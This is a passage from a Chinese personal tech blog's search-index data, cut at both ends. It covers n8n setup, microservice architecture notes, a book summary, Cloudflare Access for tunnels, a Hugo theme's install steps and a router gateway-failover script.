your money - a flowchart (redesigned) ","date":"2023-07-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/how-to-prioritize-spending-your-money---a-flowchart-redesigned/","tags":["财务规划","开销管理"],"title":"How to prioritize spending your money - a flowchart (redesigned)"},{"categories":["玩点什么"],"contents":"使用n8n来构建自己的工作流 在日常工作中，我们经常需要处理一些重复性的任务，这些任务可能非常耗时和繁琐，但它们又必不可少。为了提高工作效率，我们可以使用自动化工具来自动化这些任务，从而减少手动操作的时间和错误率。其中一款非常强大的自动化工具是n8n。\n什么是n8n？ n8n是一款开源的自动化工具，它可以帮助用户连接不同的应用程序和服务，并将它们组合在一起以实现自动化工作流程。n8n可以与超过200个不同的应用程序和服务进行集成，包括Slack、Google Drive、Trello、GitHub和Salesforce等。\nn8n可以干什么？ n8n可以帮助用户自动化各种不同的任务，例如：\n将电子邮件通知发送到Slack频道 将新的Google表格行复制到Airtable数据库中 将新的Stripe付款通知发送到Discord频道 将新的GitHub问题创建为Trello卡片 这些只是n8n可以做的一小部分，因为用户可以使用n8n构建任何他们想要的自动化工作流程。n8n还具有其他高级功能，例如条件分支、循环和HTTP请求，使用户可以更复杂地自定义其工作流程。\n安装 n8n 使用Docker-compose来进行应用的管理以及一键部署。\nversion: \u0026#39;3\u0026#39; services: n8n: image: docker.n8n.io/n8nio/n8n container_name: n8n restart: unless-stopped environment: - NODE_FUNCTION_ALLOW_EXTERNAL=* ports: - 5678:5678 volumes: - ./n8n:/home/node/.n8n - ./data:/data 为了在Code段使用到JS的一些其他的特性，以及通过 npm -g 安装的lib 这里需要加上 NODE_FUNCTION_ALLOW_EXTERNAL=* 这个环境变量。\nn8n的基础用法 n8n的基础用法非常简单。下面是一些简单的步骤，可以帮助你开始使用n8n：\n步骤1：安装n8n n8n可以在不同的操作系统上运行，包括Windows、macOS和Linux。你可以从n8n的官方网站https://n8n.io/下载适合你操作系统的版本。\n步骤2：创建一个新的工作流 你可以在n8n的仪表板中创建一个新的工作流。点击页面左侧的“工作流”按钮，然后点击“创建工作流”按钮。\n步骤3：添加节点 每个节点代表一个应用程序或服务，你可以在n8n的仪表板中找到超过200个已经准备好的节点。例如，你可能需要添加一个Gmail节点和一个Slack节点。\n步骤4：配置节点 你需要配置每个节点的输入和输出，以便将数据传递给下一个节点。例如，你可以配置Gmail节点以在每次收到新邮件时触发，并将邮件内容传递给Slack节点以发布通知。\n步骤5：保存工作流 在完成节点的配置后，记得保存工作流程。你可以为工作流程设置一个名称，并在需要时随时编辑它。\n结论 总之，n8n是一款功能强大的自动化工具，可以帮助用户构建自己的工作流，提高工作效率，减少手动操作。其简单易用的界面和丰富的集成使其成为一个非常有用的工具。如果你经常需要处理一些重复性的任务，那么n8n绝对值得一试。\n","date":"2023-07-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/n8n%E5%B7%A5%E4%BD%9C%E6%B5%81%E5%B9%B3%E5%8F%B0/","tags":["Homelab","生产力"],"title":"使用n8n来构建自己的工作流"},{"categories":["每周分享"],"contents":"《从 0 开始学微服务》阅读笔记 服务化拆分 根据我的实际项目经验，一旦单体应用同时进行开发的人员超过 10 人，就会遇到上面的问题，这个时候就该考虑进行服务化拆分了。\n服务化拆分的两种姿势：\n纵向拆分：按业务维度拆分，关联比较密切的几个业务业务适合拆成微服务；功能相对独立的业务拆成微服务； 横向拆分：从公共且独立功能维度拆分。标准是是否有公共的服务被多个其它服务调用，且依赖的资源独立不与其他业务耦合。 微服务架构 初探微服务架构 微服务架构下，服务调用主要依赖下面几个基本组件：\n服务描述 注册中心 服务框架 服务监控 服务追踪 服务治理 服务描述——如何发布和引用微服务 常用的服务描述方式包括 RESTful API、XML 配置以及 IDL 文件三种。\nRESTful API 基于 HTTP 协议，因此对调用方（服务消费者）来说几乎不需要任何学习成本即可调用，因此比较适合用作跨平台之间的服务协议。\nXML 配置方式的服务发布和引用分三个步骤：\n服务提供者定义并实现接口； 服务提供者进程启动时，通过加载 server.xml 配置文件将接口暴露出去； 服务消费者进程启动时，通过加载 client.xml 配置文件来引入要调用的接口。 XML 配置方式的接口变更需要同时更改服务方和调用方的接口文件，在跨部门调用时非常麻烦，所以一般用于私有 RPC 服务。 如果要做变更，尽量新加接口，而不是在现有接口上进行更改。\nIDL 是接口描述语言（Interface Description Language）的缩写。将一个使用独立语言（如 protobuf）编写的定义文件编译为其他语言的模块，来实现跨语言的服务通信交流。 常用的 IDL 有两种：Thrift 和 gRPC. IDL 的优势在于跨平台，但劣势在于它需要对请求和响应格式进行详细定义，如果响应字段很多或格式频繁变化时，服务迭代将会变得很麻烦。\n具体采用哪种服务描述方式是根据实际情况决定的，通常情况下，如果只是企业内部之间的服务调用，并且都是 Java 语言的话，选择 XML 配置方式是最简单的。如果企业内部存在多个服务，并且服务采用的是不同语言平台，建议使用 IDL 文件方式进行描述服务。如果还存在对外开放服务调用的情形的话，使用 RESTful API 方式则更加通用。\n服务描述方式 使用场景 缺点 RESTful API 跨语言平台，组织内外皆可 使用 HTTP 作为通信协议，相比 TCP 协议，性能较差 XML 配置 Java 平台，一般用于组织内部 不支持跨语言平台 IDL 文件 跨语言平台，组织内外皆可 修改或删除 Protobuf 字段不能向前兼容 注册中心——如何注册和发现微服务 微服务架构下主要有三种角色：服务提供者、服务消费者和服务注册中心。 注册中心负责存储所有可用服务的信息，并将这些信息提供给服务消费者，可以认为是提供者和消费者之间的纽带。\n注册中心为了及时更新服务状态，需要定期对服务进行健康状态监测，以免将不可用的服务提供给服务消费者。 为例保证高可用性，注册中心一般采用分布式集群存储。 使用注册中心的方式，客户端可以与所有可用的 server 建立连接池，从而在调用端实现请求的负载均衡。\n如何实现 RPC 远程服务调用 RPC 调用方与服务提供方建立连接后，双方需要按照某种约定的协议进行网络通信。为了减少数据传输，通常还会对数据进行压缩（序列化）。\n服务端处理请求的方式：\n同步阻塞（BIO）：双方均阻塞 同步非阻塞（NIO）：客户端同步调用，服务端通过多路复用进行异步处理 异步非阻塞（AIO）：客户端发起调用后返回，服务端处理结束后，客户端会收到结果 序列化方式的选用主要会从三个角度来考虑：支持数据结构类型的复杂度；跨语言支持程度；序列化性能（消息压缩比和序列化速度）\n如何监控微服务调用 监控对象可以从上到下分为四个层次：\n用户端监控：对功能的直接监控 接口监控：对接口本身的监控 资源监控：对功能依赖资源的监控（如 Redis） 基础监控：对服务器本身的健康状况的监控（CPU，内存，IO 等） 监控指标：\nQPS 响应时间 错误率 监控维度：\n全局维度 分机房维度 单机维度 时间维度 核心维度（根据业务是否为核心业务来进行部署和监控上的隔离） 监控系统主要包括四个环节：数据采集、数据传输、数据处理和数据展示。\n如何追踪微服务调用 服务追踪的作用：\n优化系统瓶颈 优化链路调用 生成网络拓扑 透明传输数据 服务追踪的核心原理就是调用链：通过一个全局唯一的 ID 将分布在各个服务节点上的同一次请求串联起来，从而还原原有的调用关系。 比较有名的追踪框架有 Twitter 的 Zipkin，阿里的鹰眼，美团的 MTrace ,Opentracing 等。\n服务追踪系统的架构 微服务治理的手段 节点管理：\n注册中心主动摘除机制 服务消费者摘除机制（注册中心照常提供注册信息，服务消费者发现服务提供方不可用时，将它从本地的提供方列表中摘除） 负载均衡算法：\n随机算法：均匀随机； 轮询算法：按照固定的权重，对可用节点进行轮询。权重可以静态配置，也可以通过某些指标来设置； 最少活跃调用算法：统计当前消费者和每个节点之间建立的连接数，向连接最少的一方发送请求 一致性 Hash 算法 服务路由：可用节点的选择除了由负载均衡算法决定，还会由路由规则来决定。\n服务容错：对于调用失败的请求，要通过一些手段自动恢复，保证调用成功。\n微服务架构实践 微服务发布与引用的实践 服务发布预定义配置：\n服务发布预定义配置 接口的超时时间和重试次数由服务提供者来定义，而不是服务消费者。 服务引用定义配置 接口的超时时间等由服务引用者进行定义。 如何将注册中心落地 注册中心存储服务信息。这些信息处理包含节点信息（IP 和 端口号）以外，还包含其它一些信息，比如请求失败时重试的次数等。 此外，所有服务还会按照某些规则进行分组，如机房、是否核心业务等。\n开源服务注册中心选型 当下主流的服务注册与发现的解决方案主要有两种：\n应用内注册与发现：应用通过 SDK 与注册中心通信完成服务的注册和发现 应用外注册与发现：应用可以通过其他方式与注册中心交互 两种解决方案的不同之处在于应用场景。对于容器化的云应用来说，一般不适合采用应用内 SDK 的解决方案，因为这样会侵入业务。\n应用内注册的典型案例有 Eureka，提供 Java SDK； 应用外最典型的案例是 Consul，它通过 Consul Template 来进行服务注册信息配置（如动态更新 Nginx 配置文件来完成服务请求的路由）\n应用中心选型要考虑的两个问题：高可用性、数据一致性。\n开源 RPC 框架选型 语言绑定的 RPC 框架：\nDubbo：阿里巴巴开源，Java 平台 Motan：微博开源，Java 平台 Tars：腾讯开源，C++ 平台 Spring Cloud：Pivotal 开源，Java 平台，最近几年比较火 跨平台的 RPC 框架：\ngRPC：Google 开源 Thrift：Facebook 开源，Apache 基金会项目 关于 Thrift 和 gRPC 选型：Thrift 历史悠久，支持的平台比 gRPC 多，但 gRPC 在效率和代码程度方面更占优势，所以更推荐使用 gRPC.\n如何搭建一个可靠的监控系统 一个监控系统的组成主要涉及四个环节：数据收集、数据传输、数据处理和数据展示。\n目前比较流行的开源监控系统实现方案有两种：\n以 ELK 为代表的集中式日志解决方案 以 Graphite、TICK、Prometheus 等为代表的时序数据库解决方案。 ELK：Elasticsearch, Logstash, Kibana ELK 的数据流向为：Logstash → Elasticsearch → Kibana\nLogstash 负责数据收集和传输，传输时可以动态地对数据过滤、分析、格式化 Elasticsearch 负责数据处理（存储、搜索和分析） Kibana 负责数据展示 Logstash 比较消耗计算资源，所以不太适合在业务服务器上部署，于是引入了 Beats用于在服务器节点收集数据，然后向 Logstash（或 ES）发送数据。 这样一来，数据处理和展示的流水线就变成了 Beats → Logstash → Elasticsearch → Kibana.\nGraphite Graphite 主要包括三部分：Carbon, Whisper, Graphite-Web\nCarbon: 用于收集指标并持久化到 Whisper 存储文件 Whisper：一个简单的时序数据库 Graphite-Web：从 Carbon-cache 或 Whisper 读取数据并展示 TICK：Telegraf、InfluxDB、Chronograf、Kapacitor Telegraf 负责数据采集，InfluxDB 负责数据存储，Chronograf 负责数据展示，Kapacitor 负责数据告警。\nPrometheus 2015 年正式发布，2016 年加入 CNCF，称为受欢迎程度仅次于 Kubernetes 的项目。\n其它三种方案的数据采集模式都是“推数据”的方式，而 Prometheus 以“拉数据”的方式进行数据采集，所以不需要在服务端部署数据采集代理。\nGrafana 开源的展示工具，可以弥补 Graphite、TICK 和 Prometheus 展示功能的薄弱点。 支持以上所有类型的数据源，UI 要比 Kibana 美观一些。\n从监控层面考虑，时序数据库的实时性和灵活性都比 ELK 要好，所以监控系统选型更推荐使用时序数据库，尤其是 Prometheus，毕竟 CNCF 亲儿子。 其实 ELK 更适合做日志收集，而不是监控。\n如何搭建一套服务追踪系统 服务追踪的实现主要包括三部分：埋点数据收集、实时数据处理、数据链路展示。\nOpenZipkin Pinpoint 对比：\nOpenZipkin 支持很多语言，但 Pinpoint 只支持 Java； Pinpoint 通过 Java 字节码注入来实现追踪，所以对 Java 的支持程度非常高，追踪信息非常丰富； OpenZipkin 只能绘制服务间的链路拓扑图，但 Pinpoint 还可以绘制服务与 DB 之间的链路拓扑图。 如何实现服务存活检测 如果心跳请求失败，注册中心会将服务从可用服务中摘除。但在网络频繁抖动的情况下，可能会导致可用服务列表频繁变化。\n解决方案：\n心跳开关保护机制：在网络抖动时，启用一个应急设置，限制来自服务消费者的可用服务查询请求，避免注册中心被 DOS. 但这样会导致服务消费者存储的可用服务列表过期。 服务节点摘除保护机制：设定一个比例，如 20%，此时注册中心不能摘除超过总数 20% 的可用节点，保证至少有 80% 的节点存储在列表中。此时，节点列表和节点实际的工作状态无关（很可能大部分节点都是可用的，只是注册中心访问不到它而已）。 静态注册中心 静态注册中心存储所有可用节点列表，但不负责进行存活检测。存活检测将交给服务消费者来进行。服务消费者每次从注册中心中拿到的节点列表是不变的，但消费者在使用服务的过程中可以通过调用的成功情况来动态地维护本地节点列表。这样，注册中心的节点列表就不会受到网络抖动的影响。 从某种角度来讲，这种做法更科学一些，因为实际使用服务的是消费者而不是注册中心。\n如何使用负载均衡算法 负载均衡算法的意义：\n考虑调用的均匀性，使每个节点接收到的请求更加平均； 考虑调用的性能，哪个节点快用哪个，使得整体响应时间最短。 常用的负载均衡算法：\n随机算法 轮询算法 加权轮询算法 最少活跃连接算法 一致性 hash 算法：通过某个 hash 函数，把同一个来源的请求都映射到同一个节点上 在服务端性能差异较大的情况下，如果能预先定义权重，则可以使用加权轮询算法，否则最好使用最少活跃连接算法。\n如果场景比较复杂，可以考虑自适应选择最优算法。通过“二八原则”动态调整权重。\n如何使用服务路由 服务路由是在服务消费者发起服务调用时，必须根据特定的规则来选择服务节点，从而满足某些特定的需求。\n服务路由的应用场景：\n分组调用 灰度发布 流量切换 读写分离 服务路由主要有两种规则：条件路由和脚本路由。\n服务路由的获取方式：\n本地配置：路由规则存在消费者的本地； 配置中心管理：路由规则存在配置中心，消费者从配置中心获取规则； 动态下发：运维人员通过服务治理平台修改路由规则，服务治理平台将规则持久化到配置中心，消费者订阅配置中心的变更。 服务端故障时该如何应对 微服务系统中的故障可能出现三种：\n集群故障（该服务的所有实例都出现了故障） 单 IDC 故障（由于光缆被挖断导致某 IDC 脱网） 单机故障 应对集群故障的思路主要有两种：限流（限制请求数量）和降级（停止系统中的某些功能，保证系统整体的可用性）； 降级时可以在内存中存储一些开关，出现故障的时候打开某些开关，从而在代码中绕过一些处理逻辑。\n应对单 IDC 故障的方式有两种：基于 DNS 解析的流量切换、基于 RPC 分组的流量切换（配置路由规则）。\n在业务量大的服务中，单机故障发生的概率最高。所以最好设计一套系统来自动处理单机故障，而不是依靠人力处理。 处理单机故障的一个有效的办法就是自动重启，但重启条件的判定和服务重启比例需要确定，否则可能会出现大规模重启导致服务不可用。\n服务调用失败时的处理手段 调用服务时需要设置超时时间，以避免依赖的服务迟迟没有返回结果，把服务消费者拖死。 具体超时时间设定可以以服务提供者在线上真实的服务水平为准，比如取 99.99% 分位的响应时间。\n有些调用失败（或超时）后可以考虑重试，通过多次尝试调用以降低整体故障率。\n除了重试外，还可以考虑双发，即同时发起两次请求。但这种方式会给服务提供者带来压力，所以一般情况下双发是不可取的。\n如果服务提供者大规模故障导致所有客户端同时重试，则会给服务提供者带来更大的压力，从而加剧故障。所以这种情况下要使用熔断机制：如果发现服务提供者发生故障，则短时间内停止所有请求，以给服务提供者恢复时间来恢复。\n如何管理服务配置 本地配置：将配置写在代码中，随代码一同发布 配置中心：将配置写在配置中心中，服务启动时从配置中心拉取所需配置；如果配置发生变更，服务还可以收到通知并自动更新本地配置 配置中心一般是 KV 实现，通常包含如下功能：注册、反注册、查看、变更订阅。 配置中心的典型应用场景：资源服务化、业务动态降级、分组流量切换。 开源的配置中心：Spring Cloud Config, Disconf, Apollo. 同时，Consul、Zookeeper 和 Etcd 等注册中心在小规模服务中也可以作为配置中心使用。\n如何搭建微服务治理平台 微服务治理平台的主要功能： 对于扇贝来说，服务治理平台的选型为：\n服务管理（服务上下线）：Kubernetes 服务治理（限流降级等）：Ratelimit 服务监控：Prometheus \u0026amp; Grafana，服务依赖拓扑的整体监控暂无 问题定位：Prometheus（宏观层面），Sentry（围观层面） 日志查询：ELK 服务运维（发布、扩缩容）：Kubernetes, GitLab CI/CD 微服务架构要如何落地 技术团队中需要求架构师，也要包含懂业务的开发人员； 首先要在一个小的业务上进行试点，在架构方案成熟后再继续推进； 做好技术取舍，技术选型时要考虑目前团队的实际掌控能力，对新技术方案的引入要尤其慎重； 采用 DevOps，进行一站式开发、测试、上线和运维； 统一微服务治理平台 微服务容器化 微服务为什么要容器化 容器化的优势：\n可以使代码运行环境多样化 开发测试生产可以使用同一套环境 微服务容器化实践：充分利用 Docker 镜像的分层机制，将基础环境、运行时环境、业务代码分层注入到镜像中。\n容器化运维 容器化运维和传统运维不同：每个服务都是容器，可能没有固定的 IP. 所以需要容器运维平台来辅助运维工作。 一个容器运维平台通常包含以下几个组成部分：镜像仓库、资源调度、容器调度和服务编排。\n镜像仓库：权限控制、镜像同步（多节点负载均衡）、高可用性。\n资源调度：通过一个统一的层来对接不同集群（实体机、私有云、公有云），进行统一的资源管理。\n容器调度：在物理机中对服务容器进行调度。常见的调度系统有 Swarm, Mesos 和 Kubernetes. 容器调度需要解决的问题：主机过滤、调度策略。\n服务编排：服务依赖（Docker Compose)，服务发现（基于 Nginx 或基于注册中心），自动扩缩容。\n微服务如何实现 DevOps DevOps 是一种新型的业务研发流程，业务的开发人员不仅需要负责业务代码的开发，还需要负责业务的测试以及上线发布等全生命周期，真正做到掌握服务全流程。 实现 DevOps，就必须要实现 CI 和 CD 流程。 CD 可以是持续交付（只需要让代码达到线上发布要求就行），但也可以是持续部署（Continuous Deploy），持续地把代码部署到线上。部署过程可以自动，但更推荐手动控制，因为这样更加安全。 容器化的出现解决了代码环境的可移植性问题，使得 DevOps 取得了突飞猛进的发展，并成为业界推崇的开发模式。\n微博的 DevOps 实践：使用 GitLab CI 来实现 DevOps 业务量大了以后，并不需要要求自动化的持续部署，方便在分阶段部署的时候及时观察服务状态并干涉部署过程。\n如何做好微服务容量规划 微服务的处理能力差异很大，且很多微服务之间具有依赖关系，所以微服务容量规划相当困难。\n容量规划系统的作用是根据各个微服务部署集群的最大容量和线上实际运行的负荷，来决定各个微服务是否需要弹性扩缩容，以及需要扩缩容多少台机器。 实施容量规划系统的关键在于两点：做好容量评估；做好调度决策。 容量评估需要靠压测，压测需要选出合适的压测指标。调度决策主要靠设定水位线：当（一个或多个）实际指标高于水位线一段时间后，则需要扩容。\nService Mesh 概念 Service Mesh 的核心概念：将轻量级的网络代理和应用代码部署在一起，从而以应用无感知的方式实现服务治理。 Service Mesh 用轻量级网络代理的方式与应用代码部署在一起，以保证服务之间调用的可靠性，这与传统的微服务架构有本质区别。这么做主要有两个原因：\n跨语言服务调用需要 云原生应用服务治理需要 Service Mesh 的核心组件：\nSidecar：轻量级代理 Control Plane：服务治理主控，向 sidecar 发送指令完成服务治理功能 Control Plane 的作用主要包括：服务发现、负载均衡、请求路由、故障处理、安全认证、监控上报、日志记录、配额控制\n第一代 Service Mesh 的产品是 Linkerd，第二代是 Istio.\nIstio Istio 是新一代 Service Mesh 产品，具有强大的功能以及适配性，可以在 Kubernetes, Mesos 等多个平台上运行。\nIstio 采用 Envoy 作为默认的 Sidecar，Control Plane 包含三个基本组件：Pilot、Mixer 以及 Citadel.\nEnvoy 是 Istio 中最基础的组件，所有其它组件的功能都是通过调用 Envoy 的 API，在请求经过 Envoy 转发时，由 Envoy 执行相关的控制逻辑来实现的。 Pilot 通过向 Envoy 下发指令来实现流量控制，如负载均衡、请求路由、故障注入等。 Mixer 提供了策略控制和监控日志收集等功能。 Citadel 的作用是保证服务之间访问的安全。\n","date":"2023-07-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E4%BB%8E-0-%E5%BC%80%E5%A7%8B%E5%AD%A6%E5%BE%AE%E6%9C%8D%E5%8A%A1%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/","tags":["Misc"],"title":"《从 0 开始学微服务》阅读笔记"},{"categories":["读书笔记"],"contents":"《下沉年代》 《下沉年代》是乔治·帕克所著的一本书，通过对美国社会的深入观察和调查，揭示了美国社会分裂和下沉的现象。这本书引发了人们对社会不平等、经济困境和政治分歧的思考。帕克用细腻的笔触和犀利的洞察力，让读者深入了解了下沉阶层的生活和困境，同时也提出了一些改变的可能性。这本书给人带来了对社会问题的关注和反思，引发了对未来的希望和担忧。\n要点速记 通过对下沉阶层的生活进行观察和描述，揭示了美国社会的分裂和不平等。 书中提出了下沉阶层的困境主要源于经济问题和政治分歧。 作者认为下沉阶层的处境并非无法改变，而是需要政府和社会共同努力。 书中呼吁关注下沉阶层的声音和需求，推动社会的公平和包容。 通过对下沉阶层个人故事的叙述，书中强调了人性的复杂性和多样性。 经典观点和语录 \u0026ldquo;这是一个充满故事的时代，每个人都有自己的故事，而这些故事在美国社会的下沉时代中被忽略和遗忘。\u0026rdquo; \u0026ldquo;下沉阶层的困境不仅仅是经济问题，更是一种对尊严和尊重的缺失。\u0026rdquo; \u0026ldquo;我们不能简单地将下沉阶层视为受害者，他们也是有尊严和价值的个体。\u0026rdquo; \u0026ldquo;下沉阶层的声音需要被听见，他们的需求需要被关注，这是构建公平社会的关键。\u0026rdquo; \u0026ldquo;只有政府和社会共同努力，才能改变下沉阶层的处境，实现社会的公平和包容。\u0026rdquo; 浓缩书 美国社会的分裂和不平等 帕克通过对下沉阶层的生活进行观察和描述，揭示了美国社会的分裂和不平等。他通过讲述下沉阶层的故事，展示了他们在经济、教育和医疗等方面所面临的困境。这些困境不仅仅是经济问题，更是一种对尊严和尊重的缺失。帕克强调了下沉阶层的声音需要被听见，他们的需求需要被关注，这是构建公平社会的关键。\n经济问题和政治分歧 书中指出，下沉阶层的困境主要源于经济问题和政治分歧。经济的不平等和贫富差距使得下沉阶层难以摆脱困境，而政治的分歧和对抗则进一步加剧了社会的分裂。帕克认为，政府和社会需要共同努力，才能改变下沉阶层的处境，实现社会的公平和包容。\n下沉阶层的声音和需求 书中呼吁关注下沉阶层的声音和需求，推动社会的公平和包容。帕克认为，下沉阶层的处境并非无法改变，而是需要政府和社会共同努力。他通过讲述下沉阶层个人故事的方式，强调了人性的复杂性和多样性。只有真正关注下沉阶层的需求，并给予他们应有的机会和尊重，才能实现社会的公平和包容。\n对未来的希望和担忧 《下沉年代》不仅仅是对美国社会的现状进行观察和揭示，更是对未来的希望和担忧的思考。帕克通过书中的故事和观点，引发了人们对社会问题的关注和反思。他呼吁政府和社会共同努力，为下沉阶层创造更好的生活条件和机会，以实现社会的公平和包容。\n下沉年代的复杂性和多样性 《下沉年代》通过对下沉阶层个人故事的叙述，强调了人性的复杂性和多样性。帕克在书中展示了下沉阶层的个体生活和困境，让读者深入了解了他们的生活和思想。这种细腻的描写和犀利的洞察力，使得这本书更加贴近人们的生活和情感。\n通过《下沉年代》，读者可以更加深入了解美国社会的分裂和不平等现象，思考社会问题的根源和解决之道。这本书引发了人们对下沉阶层的关注和思考，同时也带来了对未来的希望和担忧。帕克的细腻观察和深入调查，让读者更加真实地感受到下沉阶层的生活和困境，引发了对社会公平和包容的思考和行动。\n","date":"2023-07-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/%E4%B8%8B%E6%B2%89%E5%B9%B4%E4%BB%A3/","tags":["读书","个人"],"title":"《下沉年代》"},{"categories":["折腾笔记"],"contents":"在开发Web应用程序时，我们通常需要将本地服务器暴露到互联网上，以便我们可以在任何地方测试和访问它。ngrok是一个非常流行的工具，它可以让我们轻松地实现这一点。但是，ngrok的付费计划比较昂贵，而且在一些国家可能无法正常使用。在这种情况下，Cloudflare Tunnel可以成为一个低成本且可靠的替代品。\nCloudflare Tunnel是Cloudflare提供的一项服务，它可以通过一个安全的隧道将本地服务器暴露到互联网上。与ngrok不同的是，Cloudflare Tunnel是免费的，并且没有任何使用限制。此外，由于Cloudflare在全球范围内拥有大量的数据中心，因此您可以轻松地选择最近的数据中心，以获得更好的性能和更低的延迟。\n使用 Access 管控開出來的網址的存取權 預設開出來的 Public Hostname 是公開任何人都可以連上的，可能有些安全疑慮（尤其是網址固定的狀況下）。對此我們可以利用 Cloudflare Zero Trust Access 為開出的 public hostname 設定存取權限，例如需要登入、或是 IP 在某個範圍才能使用。\n首先，在左側選單的 Applications 點選 Access 底下的 Applications，然後點擊 Add an application：\n點選 Access 底下的 Applications，然後點擊 Add an application。\n然後在下一步選 Self-hosted：\n選 Self-hosted。\n再來以下這個步驟需要設定 application 的基本資訊，① 取個名字、② 設定 session 的長度，也就是多久需要重新認證/登入、③ ④ 填入 Application 的網址和 domain，這邊需要填上跟剛剛建立 tunnel public hostname 的時候使用一樣的 Subdomain 和 Domain，否則會無法正確的跳轉到登入畫面：\n③、④ Application 的網址和 domain 需要填上跟剛剛建立 tunnel public hostname 的時候使用一樣的 Subdomain 和 Domain，否則會無法正確的跳轉到登入畫面。\n同一頁捲到下方，這邊設定的是使用者可以用哪些方式認證自己的身份，至於誰可以存取，將在下一個步驟設定。這邊預設只會有 One-time PIN (OTP) 可以選擇，如果要增加更多登入方式（例如 Google、GitHub 登入），需要到 Zero Trust Dashboard 的 Settings → Authentication 來增加。\n預設只會有 One-time PIN (OTP)，運作方式是會要求使用者填入自己的 email，Cloudflare 會發送一個 OTP 到使用者填入的信箱，使用者收到 OTP 後把 OTP 填到 Cloudflare 的認證畫面，就可以向 Cloudflare 證明自己確實擁有這個 email。\n點選下一步之後，這個畫面就是設定誰可以存取，首先 ① 要為 policy 取個名字，然後 ② 設定條件。條件設定可以相當靈活，例如使用地理位置或、IP 範圍或是安裝在裝置裡的憑證來授權。這裡很簡單地使用「身份認證時使用的 email 要在列舉名單內」來做授權條件：\n這裡很簡單地使用「身份認證時使用的 email 在列舉名單內」來做授權條件。\n底下和後面還有進階設定，這裡就先跳過，直接按下一步到最後，按下 Add application：\n下一步到最後。\n接下來把剛剛建立的 Application Access 套用到 tunnel 的 hostname 上。在 Dashboard 的左邊選單按下 Access 底下的 Tunnels，然後對要設定的 Tunnel 按下 Configure：\n對要設定的 Tunnel 按下 Configure。\n然後 ① 點選 “Public Hostname” 這個 tab，② 找到要限制存取權的 hostname，對它按 Edit：\n進入 hostname 的設定畫面後，捲到下面的 Additional application settings，依序展開 ① Additional application settings”、② “Access”，③ 啟用 Protect with Access，然後 ④ 選擇剛剛建立的 Access Application：\n儲存之後，就算設定完成了。\n再次打開原本開的 tunnel hostname 網址，會發現這次我們被登入畫面擋了下來。我們可以在登入畫面填入 email 來取得 OTP：\n如果授權條件是 IP 範圍或裝置憑證，在授權範圍內應該就能直接取用服務，不會看到登入畫面。另外，如果看到的是白畫面，可能是因為先前設定 Access Application 的時候填入的 domain 和 Tunnel hostname 不一樣，需要回去檢查修正。\n然後在信箱裡收 OTP：\n註：如果填入的 email 不在允許範圍內，會直接就收不到信 XD\n回到登入畫面，把收到的 OTP 輸入進去：\n就可以存取 Tunnel 後面的服務了：\n","date":"2023-07-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/07/cloudflare-%E7%9A%84%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3/","tags":["Cloudflare","反向代理","安全"],"title":"Cloudflare 的安全网关"},{"categories":null,"contents":"A minimal, latex-style hugo theme for personal blogging. The successor of the original TeXify\nFeatures Social sharing buttons Any comment engine (giscus, remark42, hyvor, etc.) Word Counter and Reading Time Mermaid support DuckDuckGo search Configurable root font size Buymeacoffee widget Auto numbered subtitles Simplified config Hugo modules support Tested on Chrome, Safari, Edge, Firefox Disqus \u0026amp; Google Analytics included Responsive design for mobile devices Customize the site with your stylesheets Math equations powered by KaTeX (MathJax has been deleted) Minimal CSS, No JavaScript, Blazing Fast! * Diff with the original texify is bold\nUsage Install as git submodule Install:\ngit submodule add https://github.com/weastur/hugo-texify2.git themes/hugo-texify2 echo \u0026#34;theme = \u0026#39;hugo-texify2\u0026#39;\u0026#34; \u0026gt;\u0026gt; hugo.toml Upgrade:\ngit submodule foreach git pull origin master Install as hugo module Initialize hugo modules, if not done yet:\nhugo mod init github.com/\u0026lt;username\u0026gt;/\u0026lt;projectName\u0026gt; add [module] section to your hugo.toml:\n[module] [[module.imports]] path = \u0026#39;github.com/weastur/hugo-texify2\u0026#39; load/update theme module\nhugo mod get -u github.com/weastur/hugo-texify2 See hugo.toml for an example configuration.\nDevelopment Install pre-commit\npre-commit install make dev Acknowledgement The following software inspires the design of this theme:\nhttps://github.com/vincentdoerig/latex-css https://github.com/7ma7X/HugoTeX https://theme.typora.io/theme/Academic/ https://github.com/queensferryme/hugo-theme-texify https://sharingbuttons.io ","date":"2023-06-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/about/","tags":null,"title":"About"},{"categories":["折腾笔记"],"contents":"前 因为家里使用旁陆游的方式来进行部署，有时候折腾会导致断网和不稳定的情况，为了让家庭网络可以自断网之后快速恢复。\n就想了一个方法，使用脚本在路由上运行进行ping test，出现问题则调用系统配置进行网关切换。\n注：此文已经过期，有更优秀的Keepalive方式，链接\n正文 部署下面的脚本在 华硕路由器上，定期去检查旁路由是否可用，不可用则使用系统api来进行默认网关变更。\n#!/bin/bash default_gateway=\u0026#39;192.168.0.4\u0026#39; auxiliary_gateway=\u0026#39;192.168.0.1\u0026#39; # Use 8.8.8.8 up_gateway=\u0026#39;8.8.8.8\u0026#39; pkt_num=3 check_ip_available(){ ping -c $pkt_num $1 | grep packets | awk \u0026#39;{print $4}\u0026#39; } # If the gateway of the up close, the network is completely unusable res=`check_ip_available $up_gateway` echo $res if [ $((res)) -eq 0 ]; then echo \u0026#34;up_gateway unusable\u0026#34; exit 1 fi cur_gateway=`/bin/nvram get dhcp_gateway_x` # get current gateway if [ \u0026#34;$cur_gateway\u0026#34; = \u0026#34;$default_gateway\u0026#34; ]; then echo \u0026#34;cur is default_gateway\u0026#34; res=`check_ip_available $auxiliary_gateway` if [ $(($res)) -eq 0 ]; then echo \u0026#34;auxiliary_gateway not avaliable, abort\u0026#34; exit 1 fi res=`check_ip_available $cur_gateway` if [ $(($res)) -eq $pkt_num ]; then echo \u0026#34;default_gateway works fine, skip\u0026#34; exit 1 fi echo \u0026#34;switch to auxiliary\u0026#34; # to switch /bin/nvram set dhcp_gateway_x=$auxiliary_gateway /bin/nvram set dhcp_dns1_x=$auxiliary_gateway /bin/nvram set dhcp_dns2_x=\u0026#34;\u0026#34; /bin/nvram commit /sbin/rc rc_service restart_net_and_phy exit 0 fi if [ \u0026#34;$cur_gateway\u0026#34; = 